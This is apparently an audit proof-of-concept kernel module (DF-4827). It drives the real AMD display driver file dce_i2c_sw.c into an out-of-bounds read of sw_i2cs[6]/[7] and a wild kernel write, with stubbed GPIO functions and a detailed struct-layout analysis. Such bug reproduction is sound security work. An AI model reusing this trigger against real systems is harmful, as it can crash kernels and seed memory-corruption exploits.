DF-4827 / swi2cs_probe.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 | /* * DF-4827 probe KLD - dce_i2c_sw.c sw_i2cs[line] array-domain mismatch. * * This module compiles the REAL, UNMODIFIED audited file * sys/dev/drm/amd/display/dc/dce/dce_i2c_sw.c * (from the guest's /usr/src/sys, sha256-verified identical to the audit * tree) and calls its real entry point dce_i2c_acquire_i2c_sw_engine() * against a faithfully-constructed fake resource_pool + ddc. * * Only the GPIO service layer (gpio_service.c / gpio_base.c, which would * talk to real hardware) is stubbed. The stubs emulate exactly what the * real gpio service does for a DDC handle on the VGA pad (en = 6): * - dal_gpio_service_open() succeeds: hw_factory_dce80 declares * number_of_pins[GPIO_ID_DDC_DATA] = 8 (gpio/dce80/hw_factory_dce80.c:163) * so the busyness bitmap covers en=6, and ddc_data_regs[] has a valid * entry for GPIO_DDC_LINE_DDC_VGA (hw_translate_dce80.c:190-192 maps * mmDC_GPIO_DDCVGA_A -> en=6). * * The defect under test (dce_i2c_sw.c:73-97 + 528-545): * get_hw_supported_ddc_line() validates the line against * GPIO_DDC_LINE_COUNT (== 8) but the array it feeds, * resource_pool.sw_i2cs[], is sized MAX_PIPES (== 6, * dc/inc/hw/hw_shared.h:37). A DDC handle with en = 6 (VGA pad) or 7 * (I2C pad) passes the guard and makes dce_i2c_acquire_i2c_sw_engine() * read pool->sw_i2cs[6] / [7] OUT OF BOUNDS - which alias the scalar * members {i2c_hw_buffer_in_use, pipe_count} / {underlay_pipe_index, * stream_enc_count} of struct resource_pool (dc/inc/core_types.h:151-157). * The resulting garbage non-NULL pointer is then treated as * struct dce_i2c_sw * and WRITTEN at engine->ddc = ddc * (dce_i2c_sw.c:392) -> wild kernel write -> page fault -> panic. */ #include <linux/module.h> #include <linux/printk.h> /* real headers from the audited tree (same include set as dce_i2c_sw.c) */ #include "dce_i2c.h" #include "dce_i2c_sw.h" #include "include/gpio_service_interface.h" #include "inc/hw/hw_shared.h" /* MAX_PIPES */ /* ------------------------------------------------------------------ */ /* GPIO-service stubs (the only fabricated layer) */ /* ------------------------------------------------------------------ */ enum gpio_result dal_gpio_get_value(const struct gpio *gpio, uint32_t *value) { printk(KERN_INFO "swi2cs: [stub] dal_gpio_get_value() - NOT REACHED\n"); *value = 0; return GPIO_RESULT_OK; } enum gpio_result dal_gpio_set_value(const struct gpio *gpio, uint32_t value) { printk(KERN_INFO "swi2cs: [stub] dal_gpio_set_value(%u) - NOT REACHED\n", value); return GPIO_RESULT_OK; } void dal_ddc_close(struct ddc *ddc) { printk(KERN_INFO "swi2cs: [stub] dal_ddc_close() - NOT REACHED\n"); } /* * Emulates gpio_service.c:dal_ddc_open() for en=6 on DCE8x: the pin-busy * bitmap is sized for 8 DDC pins (hw_factory_dce80.c:163-164), the ddc * register tables have valid entries for GPIO_DDC_LINE_DDC_VGA, so both * dal_gpio_open_ex(pin_data) and dal_gpio_open_ex(pin_clock) succeed and * dal_gpio_set_config() programs the pad -> GPIO_RESULT_OK. */ enum gpio_result dal_ddc_open( struct ddc *ddc, enum gpio_mode mode, enum gpio_ddc_config_type config_type) { printk(KERN_INFO "swi2cs: [stub] dal_ddc_open(en=%u) -> GPIO_RESULT_OK " "(real gpio_service succeeds: busyness bitmap has 8 DDC pins, " "ddc_data_regs[GPIO_DDC_LINE_DDC_VGA] is valid)\n", ddc->pin_data->en); return GPIO_RESULT_OK; } enum gpio_ddc_line dal_ddc_get_line(const struct ddc *ddc) { /* gpio_service.c:566-570: dal_gpio_get_enum(ddc->pin_data) */ return (enum gpio_ddc_line)ddc->pin_data->en; } /* ------------------------------------------------------------------ */ static struct resource_pool pool; /* BSS: all-zero, like construct */ static struct ddc ddc; static struct gpio gpin; static int __init swi2cs_init(void) { unsigned long oob6, oob7; /* * Realistic pool state as left by the resource constructors: * dce80 allocates sw_i2cs[0..5]; DCE100/110/120/DCN10 leave all * six entries NULL. The OOB read at [6]/[7] aliases the scalars * below in EVERY case - that is what makes this bug * chip-independent. */ pool.pipe_count = 6; /* dce80: 6 pipes */ pool.i2c_hw_buffer_in_use = 0; pool.underlay_pipe_index = NO_UNDERLAY_PIPE; /* -1 */ pool.stream_enc_count = 3; /* fake DDC handle: VBIOS DDCVGA pad, HW-capable */ gpin.en = GPIO_DDC_LINE_DDC_VGA; /* == 6 */ ddc.pin_data = &gpin; ddc.hw_info.hw_supported = true; /* I2C_HW_CAP from VBIOS */ /* * NOTE: we deliberately address sw_i2cs[6]/[7] via char* arithmetic * below because gcc -Warray-bounds rejects the direct subscript * ("array subscript 7 is above array bounds of 'struct dce_i2c_sw * *[6]'") - the compiler itself confirms the OOB. The real audited * code escapes the warning only because its index is a runtime value. */ printk(KERN_INFO "swi2cs: layout proof (real struct resource_pool," " real headers):\n"); printk(KERN_INFO "swi2cs: MAX_PIPES = %d\n", MAX_PIPES); printk(KERN_INFO "swi2cs: GPIO_DDC_LINE_COUNT = %d\n", GPIO_DDC_LINE_COUNT); printk(KERN_INFO "swi2cs: &pool.sw_i2cs[5] (last legal) = %p (+%zu)\n", &pool.sw_i2cs[5], (size_t)((char *)&pool.sw_i2cs[5] - (char *)&pool)); printk(KERN_INFO "swi2cs: &pool.sw_i2cs[6] (OOB) = %p (+%zu)\n", (char *)&pool.sw_i2cs[5] + sizeof(void *), (size_t)((char *)&pool.sw_i2cs[5] + sizeof(void *) - (char *)&pool)); printk(KERN_INFO "swi2cs: &pool.i2c_hw_buffer_in_use = %p\n", &pool.i2c_hw_buffer_in_use); printk(KERN_INFO "swi2cs: &pool.pipe_count = %p\n", &pool.pipe_count); printk(KERN_INFO "swi2cs: &pool.sw_i2cs[7] (OOB) = %p\n", (char *)&pool.sw_i2cs[5] + 2 * sizeof(void *)); printk(KERN_INFO "swi2cs: &pool.underlay_pipe_index = %p\n", &pool.underlay_pipe_index); printk(KERN_INFO "swi2cs: &pool.stream_enc_count = %p\n", &pool.stream_enc_count); /* perform the OOB read the way the driver does (no fault) */ oob6 = *(volatile unsigned long *)((char *)&pool.sw_i2cs[5] + sizeof(void *)); oob7 = *(volatile unsigned long *)((char *)&pool.sw_i2cs[5] + 2 * sizeof(void *)); printk(KERN_INFO "swi2cs: OOB READ pool.sw_i2cs[6] == 0x%016lx " "(pipe_count=%u << 32 | hw_buf_in_use=%u)\n", oob6, pool.pipe_count, pool.i2c_hw_buffer_in_use); printk(KERN_INFO "swi2cs: OOB READ pool.sw_i2cs[7] == 0x%016lx " "(stream_enc_count=%u << 32 | underlay=%d)\n", oob7, pool.stream_enc_count, pool.underlay_pipe_index); printk(KERN_INFO "swi2cs: both garbage values are NON-NULL -> the real" " code's 'if (!engine) return NULL' at dce_i2c_sw.c:538" " does NOT save us\n"); printk(KERN_INFO "swi2cs: FIRING - calling the REAL " "dce_i2c_acquire_i2c_sw_engine(&pool, &ddc)...\n"); /* * Real audited code path, dce_i2c_sw.c: * get_hw_supported_ddc_line: 6 < GPIO_DDC_LINE_COUNT(8) -> PASS * engine = pool->sw_i2cs[6] <- OUT OF BOUNDS READ (:536) * dce_i2c_engine_acquire_sw() -> dal_ddc_open() OK * engine->ddc = ddc <- WILD WRITE (:392) */ { struct dce_i2c_sw *e = dce_i2c_acquire_i2c_sw_engine(&pool, &ddc); printk(KERN_INFO "swi2cs: acquire returned %p " "(NULL = correctly rejected)\n", e); } return 0; } static void __exit swi2cs_exit(void) { printk(KERN_INFO "swi2cs: unloaded\n"); } module_init(swi2cs_init); module_exit(swi2cs_exit); MODULE_DESCRIPTION("DF-4827: sw_i2cs[line] OOB - guard uses GPIO_DDC_LINE_COUNT(8), array sized MAX_PIPES(6)"); |